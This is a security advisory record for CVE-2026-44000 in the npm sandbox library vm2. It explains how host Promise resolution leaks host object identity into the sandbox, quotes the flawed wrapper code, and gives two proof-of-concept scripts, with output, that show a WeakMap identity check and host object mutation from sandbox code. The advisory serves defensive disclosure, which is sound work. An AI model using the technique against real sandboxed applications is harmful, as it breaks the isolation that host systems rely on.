CVE-2026-44000: Vm2 Vm2 Host Promise Resolution Preserves Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mpf8-4hx2-7cjg",
  "modified" : "2026-05-14T20:36:48Z",
  "published" : "2026-05-07T04:29:22Z",
  "aliases" : [ "CVE-2026-44000" ],
  "summary" : "vm2 Host Promise Resolution Preserves Object Identity Across Sandbox Boundary",
  "details" : "### Summary\n\nA sandbox boundary violation in **vm2** allows host object identity to cross into the sandbox through host Promise resolution.\n\nWhen a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox `.then()` callback preserves host identity. This allows the sandbox to interact with the host object directly, including:\n\n- Performing identity checks using host-side `WeakMap`\n- Mutating host object state from inside the sandbox\n\nThis behavior occurs because the Promise fulfillment wrapper uses `ensureThis()` instead of the stronger cross-realm conversion path (`from()` / proxy wrapping). If no prototype mapping is found, `ensureThis()` returns the original object.\n\nAs a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation.\n\n---\n\n### Details\n\nIn `setup-sandbox.js`, vm2 wraps `Promise.prototype.then`:\n\n```js\nglobalPromise.prototype.then = function then(onFulfilled, onRejected) {\n  resetPromiseSpecies(this);\n\n  if (typeof onFulfilled === 'function') {\n    const origOnFulfilled = onFulfilled;\n    onFulfilled = function onFulfilled(value) {\n      value = ensureThis(value);\n      return apply(origOnFulfilled, this, [value]);\n    };\n  }\n\n  return apply(globalPromiseThen, this, [onFulfilled, onRejected]);\n};\n\n\nThe wrapper calls ensureThis(value) before invoking the sandbox callback.\n\nHowever, ensureThis is implemented in bridge.js as thisEnsureThis():\n\nfunction thisEnsureThis(other) {\n  const type = typeof other;\n\n  switch (type) {\n    case 'object':\n      if (other === null) return null;\n\n    case 'function':\n      let proto = thisReflectGetPrototypeOf(other);\n\n      if (!proto) {\n        return other;\n      }\n\n      while (proto) {\n        const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);\n\n        if (mapping) {\n          const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]);\n          if (mapped) return mapped;\n          return mapping(defaultFactory, other);\n        }\n\n        proto = thisReflectGetPrototypeOf(proto);\n      }\n\n      return other;\n\nIf no prototype mapping is found, ensureThis() simply returns the original object:\n\nreturn other;\n\nThis means the sandbox receives the original host object instead of a proxied or sanitized representation.\n\nBecause of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved.\n\nPoC\n\nThe following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox.\n\nWeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity.\n\nPoC Code\nimport {VM} from \"./index.js\";\n\nconst hostObj = {tag: \"HOST_OBJ\"};\nconst hostPromise = Promise.resolve(hostObj);\n\n// WeakMap created on the host\nconst wm = new WeakMap([[hostObj, \"HIT\"]]);\n\nconst vm = new VM({\n  sandbox: {hostPromise, wm},\n  timeout: 1000,\n  eval: false,\n  wasm: false,\n});\n\nconst code = `\n  hostPromise.then(v => ({\n    weakMapGet: wm.get(v),\n    typeofV: typeof v,\n    tag: v.tag\n  }))\n`;\n\nconst result = await vm.run(code);\n\nconsole.log(\"VM RESULT:\", result);\nconsole.log(\"HOST SAME KEY STILL:\", wm.get(hostObj));\nOutput\nVM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' }\nHOST SAME KEY STILL: HIT\n\nThis confirms that the object delivered to the sandbox callback retains host identity.\n\nAdditional Demonstration: Host Object Mutation\n\nThe sandbox can also mutate host object state through the resolved Promise value.\n\nimport {VM} from \"./index.js\";\n\nconst hostObj = {tag: \"HOST_OBJ\", nested: {x: 1}};\nconst hostPromise = Promise.resolve(hostObj);\n\nconst vm = new VM({\n  sandbox: {hostPromise},\n  timeout: 1000,\n  eval: false,\n  wasm: false,\n});\n\nconst code = `\n  hostPromise.then(v => {\n    v.nested.x = 999;\n    v.tag = \"MUTATED\";\n    return { seenTag: v.tag, seenX: v.nested.x };\n  })\n`;\n\nconst result = await vm.run(code);\n\nconsole.log(\"VM RESULT:\", result);\nconsole.log(\"HOST AFTER:\", hostObj);\n\n**Output:**\nVM RESULT: { seenTag: 'MUTATED', seenX: 999 }\nHOST AFTER: { tag: 'MUTATED', nested: { x: 999 } }\n\nThis demonstrates write-through mutation of a host object from sandbox code.\n\n**Impact**\nThis vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution.\n\nConsequences include:\n\nHost object identity disclosure\n\nWrite-through mutation of host objects\n\nWeakMap / WeakSet identity oracle across the boundary\n\nPotential capability leaks if sensitive host objects are reachable via Promises\n\nApplications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects.\n\nThis weakens the intended isolation guarantees of vm2.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.11.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44000"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-668", "CWE-693" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T04:29:22Z",
    "nvd_published_at" : "2026-05-13T18:16:16Z"
  }
}